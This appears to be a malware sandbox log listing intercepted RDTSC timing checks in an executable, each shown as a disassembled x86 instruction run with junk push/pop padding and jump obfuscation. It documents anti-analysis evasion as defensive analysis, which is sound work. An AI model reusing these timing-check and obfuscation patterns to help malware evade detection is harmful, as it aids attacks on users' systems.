Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AFD3 second address: A7B012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F1A796F3555h 0x0000000e jnc 00007F1A796F3546h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edx 0x0000001a je 00007F1A796F354Ch 0x00000020 push edi 0x00000021 jo 00007F1A796F3546h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B502 second address: A7B527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF1h 0x00000007 pushad 0x00000008 jmp 00007F1A796B9BEDh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B527 second address: A7B545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F1A796F357Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1A796F354Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B545 second address: A7B549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B549 second address: A7B54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B6B0 second address: A7B6CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1A796B9BEFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F1A796B9BE6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B6CF second address: A7B6D9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1A796F3546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B6D9 second address: A7B6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1A796B9BF1h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B835 second address: A7B85E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1A796F354Dh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1A796F3554h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B85E second address: A7B862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B862 second address: A7B868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F591 second address: A7F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F595 second address: A7F5B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F1A796F3551h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8ADF9 second address: A8ADFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8ADFF second address: A8AE1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F1A796F354Ah 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE1D second address: A8AE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AE22 second address: A8AE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99EDA second address: A99EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99EDE second address: A99EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F1A796F354Ah 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007F1A796F3546h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D156 second address: A9D15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D15C second address: A9D164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D164 second address: A9D171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D171 second address: A9D177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D177 second address: A9D182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4795 second address: AA47B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F1A796F354Bh 0x0000000b jmp 00007F1A796F354Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA47B3 second address: AA47DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1A796B9BF1h 0x00000012 popad 0x00000013 pushad 0x00000014 jl 00007F1A796B9BE6h 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA494D second address: AA4953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4953 second address: AA496C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA496C second address: AA4982 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1A796F3558h 0x00000008 jmp 00007F1A796F354Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4AAD second address: AA4AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4AB1 second address: AA4ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F1A796F3546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4ABD second address: AA4AF9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1A796B9BFEh 0x00000008 push ecx 0x00000009 jmp 00007F1A796B9BF1h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4C3C second address: AA4C55 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F1A796F354Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5079 second address: AA508A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F1A796B9BE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5220 second address: AA5225 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5225 second address: AA522F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA537B second address: AA5381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA047 second address: AAA088 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1A796B9BFFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F1A796B9C03h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1A796B9BF5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07C6 second address: 4DA07CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07CA second address: 4DA07D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07D0 second address: 4DA085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 call 00007F1A796F3558h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1A796F354Eh 0x00000016 sbb ax, 2998h 0x0000001b jmp 00007F1A796F354Bh 0x00000020 popfd 0x00000021 jmp 00007F1A796F3558h 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 mov cx, 590Dh 0x0000002d pushfd 0x0000002e jmp 00007F1A796F354Ah 0x00000033 add ax, AB28h 0x00000038 jmp 00007F1A796F354Bh 0x0000003d popfd 0x0000003e popad 0x0000003f call dword ptr [74E5188Ch] 0x00000045 mov edi, edi 0x00000047 push ebp 0x00000048 mov ebp, esp 0x0000004a push ecx 0x0000004b mov ecx, dword ptr [7FFE0004h] 0x00000051 mov dword ptr [ebp-04h], ecx 0x00000054 cmp ecx, 01000000h 0x0000005a jc 00007F1A79725025h 0x00000060 mov eax, 7FFE0320h 0x00000065 mov eax, dword ptr [eax] 0x00000067 mul ecx 0x00000069 shrd eax, edx, 00000018h 0x0000006d mov esp, ebp 0x0000006f pop ebp 0x00000070 ret 0x00000071 pushad 0x00000072 mov si, B73Bh 0x00000076 push eax 0x00000077 push edx 0x00000078 mov al, 61h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA085E second address: 4DA0862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0862 second address: 4DA087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1A796F3552h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA087E second address: 4DA0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 1E71A864h 0x00000008 mov dl, E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ret 0x0000000e nop 0x0000000f xor esi, eax 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 push eax 0x00000015 call 00007F1A7E0573D6h 0x0000001a mov edi, edi 0x0000001c pushad 0x0000001d push ecx 0x0000001e pushfd 0x0000001f jmp 00007F1A796B9BEBh 0x00000024 sub ah, FFFFFFAEh 0x00000027 jmp 00007F1A796B9BF9h 0x0000002c popfd 0x0000002d pop eax 0x0000002e mov ax, bx 0x00000031 popad 0x00000032 push esi 0x00000033 jmp 00007F1A796B9BF8h 0x00000038 mov dword ptr [esp], ebp 0x0000003b pushad 0x0000003c call 00007F1A796B9BEEh 0x00000041 pushfd 0x00000042 jmp 00007F1A796B9BF2h 0x00000047 and cx, A5B8h 0x0000004c jmp 00007F1A796B9BEBh 0x00000051 popfd 0x00000052 pop eax 0x00000053 push edx 0x00000054 mov edx, eax 0x00000056 pop ecx 0x00000057 popad 0x00000058 mov ebp, esp 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d pushfd 0x0000005e jmp 00007F1A796B9BF8h 0x00000063 jmp 00007F1A796B9BF5h 0x00000068 popfd 0x00000069 mov ecx, 6B856EB7h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0791 second address: 4DA0797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80009 second address: 4D80064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1A796B9BEEh 0x00000011 jmp 00007F1A796B9BF5h 0x00000016 popfd 0x00000017 mov edx, ecx 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c mov ecx, edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1A796B9BF5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80064 second address: 4D80113 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1A796F3550h 0x00000008 jmp 00007F1A796F3555h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F1A796F354Eh 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F1A796F354Eh 0x00000020 xor si, 7898h 0x00000025 jmp 00007F1A796F354Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F1A796F3558h 0x00000031 xor eax, 60FE22F8h 0x00000037 jmp 00007F1A796F354Bh 0x0000003c popfd 0x0000003d popad 0x0000003e mov eax, dword ptr fs:[00000030h] 0x00000044 jmp 00007F1A796F3556h 0x00000049 sub esp, 18h 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f movzx eax, dx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80113 second address: 4D80117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80269 second address: 4D80281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F3554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80281 second address: 4D80285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80285 second address: 4D802B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1A796F3559h 0x00000012 jmp 00007F1A796F354Bh 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802B9 second address: 4D802BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802BE second address: 4D802C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802C4 second address: 4D802F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b pushad 0x0000000c pushad 0x0000000d mov dh, 7Ah 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 call dword ptr [74E50B60h] 0x0000001b mov eax, 750BE5E0h 0x00000020 ret 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1A796B9BF4h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D802F5 second address: 4D80320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000044h 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop eax 0x00000011 pop edi 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1A796F3555h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80320 second address: 4D80330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80330 second address: 4D80334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80334 second address: 4D80352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1A796B9BECh 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80352 second address: 4D80356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80356 second address: 4D8035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80424 second address: 4D80428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80428 second address: 4D8042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8042C second address: 4D80432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80432 second address: 4D8044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8044B second address: 4D8044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8044F second address: 4D80473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1A796B9BF8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80473 second address: 4D804D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F1A796F3556h 0x00000010 je 00007F1AE9772754h 0x00000016 jmp 00007F1A796F3550h 0x0000001b sub eax, eax 0x0000001d jmp 00007F1A796F3551h 0x00000022 mov dword ptr [esi], edi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F1A796F354Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D804D4 second address: 4D80594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1A796B9BECh 0x00000013 sbb esi, 128CFB18h 0x00000019 jmp 00007F1A796B9BEBh 0x0000001e popfd 0x0000001f movzx esi, di 0x00000022 popad 0x00000023 mov dword ptr [esi+08h], eax 0x00000026 jmp 00007F1A796B9BEBh 0x0000002b mov dword ptr [esi+0Ch], eax 0x0000002e jmp 00007F1A796B9BF6h 0x00000033 mov eax, dword ptr [ebx+4Ch] 0x00000036 jmp 00007F1A796B9BF0h 0x0000003b mov dword ptr [esi+10h], eax 0x0000003e jmp 00007F1A796B9BF0h 0x00000043 mov eax, dword ptr [ebx+50h] 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 movsx edx, ax 0x0000004c pushfd 0x0000004d jmp 00007F1A796B9BF6h 0x00000052 jmp 00007F1A796B9BF5h 0x00000057 popfd 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80594 second address: 4D805A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F354Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D805A4 second address: 4D805A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D806B1 second address: 4D806B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D806B7 second address: 4D8070D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1A796B9BF2h 0x00000008 pushfd 0x00000009 jmp 00007F1A796B9BF2h 0x0000000e sub si, D6C8h 0x00000013 jmp 00007F1A796B9BEBh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esi+24h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1A796B9BF5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8070D second address: 4D80799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 push edx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+64h] 0x0000000e pushad 0x0000000f mov ax, bx 0x00000012 push edx 0x00000013 jmp 00007F1A796F354Ah 0x00000018 pop esi 0x00000019 popad 0x0000001a mov dword ptr [esi+28h], eax 0x0000001d jmp 00007F1A796F3551h 0x00000022 mov eax, dword ptr [ebx+68h] 0x00000025 jmp 00007F1A796F354Eh 0x0000002a mov dword ptr [esi+2Ch], eax 0x0000002d pushad 0x0000002e mov cl, 07h 0x00000030 pushfd 0x00000031 jmp 00007F1A796F3553h 0x00000036 sub ax, FD2Eh 0x0000003b jmp 00007F1A796F3559h 0x00000040 popfd 0x00000041 popad 0x00000042 mov ax, word ptr [ebx+6Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov ecx, ebx 0x0000004b mov di, E19Ah 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80799 second address: 4D807F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov edi, 4B38D33Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov word ptr [esi+30h], ax 0x00000012 jmp 00007F1A796B9BF5h 0x00000017 mov ax, word ptr [ebx+00000088h] 0x0000001e jmp 00007F1A796B9BEEh 0x00000023 mov word ptr [esi+32h], ax 0x00000027 jmp 00007F1A796B9BF0h 0x0000002c mov eax, dword ptr [ebx+0000008Ch] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807F5 second address: 4D807F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807F9 second address: 4D807FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
